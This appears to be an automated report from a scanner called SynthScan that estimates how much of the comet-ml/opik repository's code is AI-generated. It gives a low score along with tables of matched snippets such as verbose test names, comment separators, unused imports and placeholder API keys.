Repository Analysis

comet-ml/opik

Debug, evaluate, and monitor your LLM applications, RAG systems, and agentic workflows with comprehensive tracing, automated evaluations, and production-ready dashboards.

13.0 Low AI signal View on GitHub

Analysis Overview

This report presents the forensic synthetic code analysis of comet-ml/opik, a Python project with 20,586 GitHub stars. SynthScan v2.0 examined 1,443,841 lines of code across 9992 source files, recording 13666 pattern matches distributed across 26 syntactic categories. The overall adjusted score of 13.0 places this repository in the Low AI signal band.

The scanner applied 160+ deterministic lexical heuristics, multi-line block detectors, abstract syntax tree depth profilers, and a cross-file Jaccard similarity matrix to construct a statistically normalised synthetic code estimate. All matches are individually weighted by severity coefficient and contextual multiplier before summation, and the resulting headline score is temporally discounted to account for the repository's development history relative to the commercial emergence of large language model coding tooling (November 2022 onward).

13.0
Adjusted Score
13.0
Raw Score
100%
Time Factor
2026-07-14
Last Push
20.6K
Stars
Python
Language
1.4M
Lines of Code
10.0K
Files
13.7K
Pattern Hits
2026-07-14
Scan Date
0.12
HC Hit Rate

What These Metrics Mean

Adjusted Score
Primary synthetic code indicator. Raw score normalised per 1,000 lines of code and multiplied by the temporal discount factor. This is the definitive comparative metric — use it to rank repositories by AI authorship density.
Raw Score
The unmodified sum of all severity-weighted, context-multiplied pattern match scores before temporal discounting. Reflects the absolute signal strength independent of when the repository was last active.
Time Factor
The temporal discount multiplier (0–100%) applied to the raw score. Repositories last updated before ChatGPT's launch (Nov 2022) receive a 5% factor. Full signal is only assigned to repositories active in the post-adoption era (Jan 2024+).
Pattern Hits
Total count of individual pattern matches across all files and categories. A high hit count with a low score may indicate a very large codebase with isolated AI snippets; a low count with a high score indicates dense, concentrated AI signatures.
HC Hit Rate
High+Critical pattern hits per file, averaged across the repository. This orthogonal signal catches repositories where a few files are densely packed with high-severity AI tells — a strong indicator even when the normalised score appears moderate due to codebase size.
Lines of Code / Files
Total lines and files analysed. The scanner examines 94 file extensions. These denominators are used to normalise the score, enabling fair comparison between repositories of vastly different sizes.

Score History

This chart maps the temporal evolution of the adjusted synthetic code score across successive scan runs. An upward trajectory indicates ongoing incorporation of AI-generated code or expanding LLM-assisted scaffolding; a stable or declining trajectory may reflect active human refactoring, code removal, or the adoption of stricter authorship policies. The dashed secondary line (right axis) independently tracks total raw pattern hit count, which can diverge from the normalised score when codebase size changes significantly between scans.

Severity Breakdown

Classifies detected patterns by their diagnostic confidence and structural impact. CRITICAL patterns (coefficient 10) represent definitive synthetic signatures — hallucinated imports, explicit LLM attribution metadata — virtually never produced by human authors. HIGH (5) indicates strong structural tells such as cross-file repetition or cross-linguistic idioms. MEDIUM (2) covers recognisable conversational padding and AI-specific vocabulary. LOW (1) captures subtle indicators like tautological comments and generic boilerplate that require density to carry independent signal.

CRITICAL 146HIGH 1041MEDIUM 1018LOW 11461

Directory Score Breakdown

This horizontal bar chart decomposes the repository's raw synthetic code score by top-level directory, allowing you to pinpoint precisely which modules or components carry the highest AI authorship density. Directories with disproportionately high scores relative to their size warrant targeted manual review: concentrated AI signatures often trace back to mass-generated configuration layers, auto-ported test suites, LLM-scaffolded boilerplate classes, or entire subsystems authored under heavy copilot assistance. Use this view to prioritise your human code-review effort.

Pattern Findings

The scanner identified 13666 distinct pattern matches across 26 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a statistically significant AI authorship indicator. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.

Reading the findings table: The Severity column indicates the diagnostic confidence level (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — comment-context matches receive a ×1.5 weight because LLMs systematically over-annotate. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier as dense clusters constitute far stronger evidence of synthetic authorship than isolated hits.

Hyper-Verbose Identifiers6493 hits · 6356 pts
SeverityFileLineSnippetContext
LOWsdks/python/design/TESTING.md129def test_track__one_nested_function__happyflow(fake_backend):CODE
LOWsdks/python/design/TESTING.md190def test_openai_client_responses_create__happyflow(fake_backend):CODE
LOWsdks/python/design/TESTING.md258def test_trace_creation_and_retrieval(opik_client, temporary_project_name):CODE
LOWsdks/python/design/TESTING.md500def shutdown_cached_client_after_test():CODE
LOWsdks/python/design/TESTING.md562def reset_tracing_to_config_default():CODE
LOWsdks/python/design/TESTING.md583def test_track__one_nested_function__happyflow(fake_backend):CODE
LOWsdks/python/design/TESTING.md641def test_openai_client_responses_create__happyflow(CODE
LOWsdks/python/design/TESTING.md700def test_trace_creation_with_spans(opik_client, temporary_project_name):CODE
LOWsdks/python/design/TESTING.md753def test_track__function_raises_exception__error_info_captured(fake_backend):CODE
LOWsdks/python/design/TESTING.md792def test_openai_streaming_response(fake_backend):CODE
LOWsdks/python/design/TESTING.md838def test_hallucination_metric__happyflow():CODE
LOWsdks/python/design/TESTING.md861def test_track__one_nested_function__happyflow(fake_backend):CODE
LOWsdks/python/design/TESTING.md862def test_track__function_raises_exception__error_info_captured(fake_backend):CODE
LOWsdks/python/design/TESTING.md863def test_evaluate__with_custom_metric__scores_computed_correctly(fake_backend):CODE
LOWsdks/python/design/TESTING.md940def test_double_function__various_inputs__correct_outputs(CODE
LOWsdks/python/design/TESTING.md971def ensure_myintegration_configured():CODE
LOWsdks/python/design/API_AND_DATA_FLOW.md708def _process_create_trace_message(CODE
LOWsdks/python/design/API_AND_DATA_FLOW.md1085def _has_potential_content_with_attachments(message: BaseMessage) -> bool:CODE
LOWsdks/python/design/API_AND_DATA_FLOW.md1098def _message_has_field_of_interest_set(message) -> bool:CODE
LOWsdks/python/design/API_AND_DATA_FLOW.md1632def _process_create_spans_batch_message(CODE
LOWsdks/python/design/API_AND_DATA_FLOW.md1748def _generate_error_tracking_extra(CODE
LOWsdks/python/design/EVALUATION.md621def evaluate_llm_task_context(CODE
LOWsdks/python/design/EVALUATION.md1159def is_llm_provider_rate_limit_error(exception: Exception) -> bool:CODE
LOWsdks/python/tests/conftest.py34def shutdown_cached_client_after_test():CODE
LOWsdks/python/tests/conftest.py46def skip_local_configuration_file(tmp_path):CODE
LOWsdks/python/tests/conftest.py113def patch_streamer_without_batching(CODE
LOWsdks/python/tests/conftest.py173def fake_backend_without_batching(patch_streamer_without_batching):CODE
LOWsdks/python/tests/conftest.py197def fake_backend_with_patched_environment(request, patch_streamer):CODE
LOWsdks/python/tests/conftest.py226def configure_opik_local_env_vars():CODE
LOWsdks/python/tests/conftest.py236def configure_opik_not_configured():CODE
LOWsdks/python/tests/conftest.py279def ensure_google_project_and_location_configured():CODE
LOWsdks/python/tests/conftest.py289def ensure_anthropic_configured():CODE
LOWsdks/python/tests/conftest.py297def ensure_mistral_configured():CODE
LOWsdks/python/tests/conftest.py305def ensure_vertexai_configured(ensure_google_project_and_location_configured):CODE
LOWsdks/python/tests/conftest.py336def ensure_google_api_configured():CODE
LOWsdks/python/tests/conftest.py343def ensure_aws_bedrock_configured():CODE
LOWsdks/python/tests/unit/conftest.py12def shutdown_opik_background_threads():CODE
LOWsdks/python/tests/unit/test_url_helpers.py31def test_get_is_alive_ping_url__base_url__returns_expected_ping_url(CODE
LOWsdks/python/tests/unit/test_url_helpers.py49def test_get_ui_url__url_override__only_strips_api_suffix(CODE
LOWsdks/python/tests/unit/test_logging.py6def test_convert_exception_to_log_message__happy_scenario_with_original_returned_value():CODE
LOWsdks/python/tests/unit/test_logging.py26def test_convert_exception_to_log_message__exception_raised__exception_converted_into_log_message__another_value_returneCODE
LOWsdks/python/tests/unit/test_logging.py49def test_convert_exception_to_log_message__logging_level_not_set__error_level_used():CODE
LOWsdks/python/tests/unit/test_opik_context_storage.py25def test_opik_storage__span_data_not_empty_after_adding_span(sample_span):CODE
LOWsdks/python/tests/unit/test_opik_context_storage.py32def test_opik_storage__add_span_data__adds_to_stack__the_same_instance_can_be_accessed(CODE
LOWsdks/python/tests/unit/test_opik_context_storage.py41def test_opik_storage__pop_span_data__with_ensure_id_matching_top__returns_span(CODE
LOWsdks/python/tests/unit/test_opik_context_storage.py50def test_opik_storage__pop_span_data__with_ensure_id_not_matching_top__returns_none(CODE
LOWsdks/python/tests/unit/test_opik_context_storage.py60def test_opik_storage__pop_span_data__without_ensure_id__returns_span(sample_span):CODE
LOWsdks/python/tests/unit/test_opik_context_storage.py68def test_opik_storage__pop_span_data__multiple_spans__returns_in_lifo_order():CODE
LOWsdks/python/tests/unit/test_opik_context_storage.py85def test_opik_storage__get_trace_data__no_trace_set__returns_none():CODE
LOWsdks/python/tests/unit/test_opik_context_storage.py90def test_opik_storage__set_trace_data__sets_trace__can_be_retrieved(sample_trace):CODE
LOWsdks/python/tests/unit/test_opik_context_storage.py97def test_opik_storage__pop_trace_data__no_trace_set__returns_none():CODE
LOWsdks/python/tests/unit/test_opik_context_storage.py102def test_opik_storage__pop_trace_data__trace_set__returns_and_removes_trace(CODE
LOWsdks/python/tests/unit/test_opik_context_storage.py112def test_opik_storage__pop_trace_data__with_ensure_id_matching__returns_and_removes_trace(CODE
LOWsdks/python/tests/unit/test_opik_context_storage.py122def test_opik_storage__pop_trace_data__with_ensure_id_not_matching__returns_none(CODE
LOWsdks/python/tests/unit/test_opik_context_storage.py132def test_opik_storage__clear_all__clears_span_stack_and_trace(CODE
LOWsdks/python/tests/unit/test_opik_context_storage.py145def test_opik_storage__trim_span_data_stack_to_certain_span__span_not_in_stack__does_nothing(CODE
LOWsdks/python/tests/unit/test_opik_context_storage.py155def test_opik_storage__trim_span_data_stack_to_certain_span__span_in_stack__trims_to_span():CODE
LOWsdks/python/tests/unit/test_opik_context_storage.py171def test_opik_storage__trim_span_data_stack_to_certain_span__stack_is_empty__does_nothing(CODE
LOWsdks/python/tests/unit/test_opik_context_storage.py180def test_opik_storage__multithreaded__each_thread_has_independent_context():CODE
LOWsdks/python/tests/unit/test_export_import_all.py120 def test_fresh_manifest_status_is_not_started(self, tmp_path):CODE
6433 more matches not shown…
Decorative Section Separators621 hits · 2164 pts
SeverityFileLineSnippetContext
MEDIUM.pre-commit-config.yaml187 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml189 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml242 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml245 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml255 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml258 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml268 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml272 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml10 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml12 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml55 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml57 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml222 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml224 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml287 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml289 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml304 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml309 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml321 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml326 # ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/llm_constants.py23# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/llm_constants.py25# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/llm_constants.py49# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/llm_constants.py51# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/llm_constants.py67# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/llm_constants.py69# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/llm_constants.py75# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/llm_constants.py77# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/llm_constants.py84# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/llm_constants.py86# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_export_import_all.py112# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_export_import_all.py114# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_export_import_all.py258# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_export_import_all.py260# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_export_import_all.py366# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_export_import_all.py368# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_export_import_all.py396# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_export_import_all.py398# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_export_import_all.py487# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_export_import_all.py489# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_export_import_all.py515# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_export_import_all.py517# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_export_import_all.py1156# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_export_import_all.py1158# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_export_import_all.py1344# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_export_import_all.py1346# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_export_import_all.py1506# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_export_import_all.py1509# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_export_import_all.py62# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_export_import_all.py64# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_export_import_all.py1407# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_export_import_all.py1409# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_cli_changes.py24# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_cli_changes.py26# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_cli_changes.py113# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_cli_changes.py115# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_cli_changes.py174# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_cli_changes.py176# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_cli_changes.py208# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_cli_changes.py210# ---------------------------------------------------------------------------COMMENT
561 more matches not shown…
Unused Imports2615 hits · 1850 pts
SeverityFileLineSnippetContext
LOW…s/python/tests/unit/cli/test_migrate_prompt_planner.py8CODE
LOW…ts/unit/cli/test_migrate_dataset_resume_reconstruct.py10CODE
LOW…/python/tests/unit/cli/test_migrate_prompt_executor.py10CODE
LOWsdks/python/tests/unit/cli/_migrate_helpers.py9CODE
LOW…unit/cli/test_migrate_dataset_optimizations_cascade.py23CODE
LOW…/python/tests/unit/cli/test_migrate_dataset_planner.py12CODE
LOW…s/unit/cli/test_migrate_dataset_experiments_cascade.py22CODE
LOW…thon/tests/unit/cli/test_migrate_dataset_checkpoint.py20CODE
LOWsdks/python/tests/unit/cli/_migrate_prompt_helpers.py9CODE
LOW…/tests/unit/cli/test_migrate_dataset_version_replay.py13CODE
LOW…on/tests/testlib/backend_emulator_message_processor.py9CODE
LOWsdks/python/tests/testlib/__init__.py1CODE
LOWsdks/python/tests/testlib/__init__.py1CODE
LOWsdks/python/tests/testlib/__init__.py1CODE
LOWsdks/python/tests/testlib/__init__.py1CODE
LOWsdks/python/tests/testlib/__init__.py1CODE
LOWsdks/python/tests/testlib/__init__.py2CODE
LOWsdks/python/tests/testlib/__init__.py2CODE
LOWsdks/python/tests/testlib/__init__.py2CODE
LOWsdks/python/tests/testlib/__init__.py2CODE
LOWsdks/python/tests/testlib/__init__.py8CODE
LOWsdks/python/tests/testlib/__init__.py9CODE
LOWsdks/python/tests/testlib/__init__.py10CODE
LOWsdks/python/tests/testlib/__init__.py11CODE
LOWsdks/python/tests/testlib/__init__.py11CODE
LOWsdks/python/tests/testlib/__init__.py11CODE
LOWsdks/python/tests/testlib/__init__.py11CODE
LOWsdks/python/tests/testlib/__init__.py12CODE
LOW…s/e2e_library_integration/adk/sample_agent/__init__.py1CODE
LOW…ary_integration/adk/sample_agent_anthropic/__init__.py1CODE
LOW…ibrary_integration/adk/sample_agent_openai/__init__.py1CODE
LOWsdks/python/tests/e2e/test_annotation_queue.py1CODE
LOWsdks/python/tests/e2e/test_threads.py1CODE
LOW…ython/tests/e2e/cli/test_migrate_dataset_resume_e2e.py29CODE
LOWsdks/python/tests/e2e/cli/conftest.py17CODE
LOWsdks/python/tests/e2e/cli/test_migrate_prompt_e2e.py16CODE
LOW…/cli/test_migrate_dataset_cross_project_cascade_e2e.py32CODE
LOW…ks/python/tests/e2e/cli/test_migrate_test_suite_e2e.py23CODE
LOW…sts/e2e/cli/test_migrate_dataset_evaluate_shape_e2e.py24CODE
LOWsdks/python/tests/e2e/cli/test_migrate_dataset_e2e.py23CODE
LOWsdks/python/tests/e2e/cli/_cascade_comparison.py61CODE
LOW…ests/e2e/cli/test_migrate_dataset_optimizations_e2e.py36CODE
LOWsdks/python/src/_opik/__init__.py11CODE
LOWsdks/python/src/_opik/__init__.py12CODE
LOWsdks/python/src/opik/config.py1CODE
LOWsdks/python/src/opik/__init__.py2CODE
LOWsdks/python/src/opik/__init__.py2CODE
LOWsdks/python/src/opik/__init__.py6CODE
LOWsdks/python/src/opik/__init__.py7CODE
LOWsdks/python/src/opik/__init__.py8CODE
LOWsdks/python/src/opik/__init__.py9CODE
LOWsdks/python/src/opik/__init__.py10CODE
LOWsdks/python/src/opik/__init__.py11CODE
LOWsdks/python/src/opik/__init__.py12CODE
LOWsdks/python/src/opik/__init__.py13CODE
LOWsdks/python/src/opik/__init__.py13CODE
LOWsdks/python/src/opik/__init__.py17CODE
LOWsdks/python/src/opik/__init__.py18CODE
LOWsdks/python/src/opik/__init__.py19CODE
LOWsdks/python/src/opik/__init__.py19CODE
2555 more matches not shown…
Magic Placeholder Names660 hits · 1535 pts
SeverityFileLineSnippetContext
HIGHsdks/python/README.md46 api_key="YOUR_API_KEY",CODE
HIGHsdks/python/design/TESTING.md1008export OPIK_API_KEY="your_api_key"CODE
HIGHsdks/python/design/API_AND_DATA_FLOW.md42 api_key="your_api_key" # Optional: for cloud deploymentsCODE
HIGH…/python/src/opik/api_objects/threads/threads_client.py96 >>> client = Opik(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME")STRING
HIGHsdks/python/src/opik/rest_api/client.py83 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/client.py180 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/client.py201 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/client.py238 client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/client.py336 client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/client.py360 client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGH…python/src/opik/rest_api/agent_insights_jobs/client.py51 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGH…python/src/opik/rest_api/agent_insights_jobs/client.py78 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGH…python/src/opik/rest_api/agent_insights_jobs/client.py112 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGH…python/src/opik/rest_api/agent_insights_jobs/client.py140 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGH…python/src/opik/rest_api/agent_insights_jobs/client.py184 client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGH…python/src/opik/rest_api/agent_insights_jobs/client.py214 client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGH…python/src/opik/rest_api/agent_insights_jobs/client.py251 client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGH…python/src/opik/rest_api/agent_insights_jobs/client.py282 client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGH…s/python/src/opik/rest_api/manual_evaluation/client.py67 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGH…s/python/src/opik/rest_api/manual_evaluation/client.py116 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGH…s/python/src/opik/rest_api/manual_evaluation/client.py165 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGH…s/python/src/opik/rest_api/manual_evaluation/client.py231 client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGH…s/python/src/opik/rest_api/manual_evaluation/client.py283 client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGH…s/python/src/opik/rest_api/manual_evaluation/client.py335 client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py97 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py157 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py229 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py271 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py309 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py349 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py389 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py461 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py550 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py600 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py626 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py705 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py749 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py790 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py823 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py861 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py900 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py928 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py955 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py982 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1029 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1066 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1111 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1148 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1187 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1256 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1308 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1344 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1374 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1433 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1507 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1558 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1602 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1658 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1718 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1795 client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
600 more matches not shown…
Hallucination Indicators146 hits · 1450 pts
SeverityFileLineSnippetContext
CRITICALsdks/python/tests/unit/runner/test_supervisor.py555 checklist = api.runners.patch_checklist.call_args.kwargs.get(STRING
CRITICALsdks/opik_optimizer/tests/unit/utils/test_utils.py6from opik_optimizer.utils.helpers import json_to_dictCODE
CRITICALsdks/opik_optimizer/tests/unit/utils/test_utils.py158 from opik_optimizer.utils.helpers import _convert_literals_to_json_compatibleCODE
CRITICALsdks/opik_optimizer/tests/unit/utils/test_utils.py165 from opik_optimizer.utils.helpers import _convert_literals_to_json_compatibleCODE
CRITICALsdks/opik_optimizer/tests/unit/utils/test_utils.py172 from opik_optimizer.utils.helpers import _convert_literals_to_json_compatibleCODE
CRITICALsdks/opik_optimizer/tests/unit/utils/test_utils.py179 from opik_optimizer.utils.helpers import _convert_literals_to_json_compatibleCODE
CRITICALsdks/opik_optimizer/tests/unit/utils/test_utils.py188 from opik_optimizer.utils.helpers import _convert_literals_to_json_compatibleCODE
CRITICALsdks/opik_optimizer/tests/unit/utils/test_utils.py198 from opik_optimizer.utils.helpers import _convert_literals_to_json_compatibleCODE
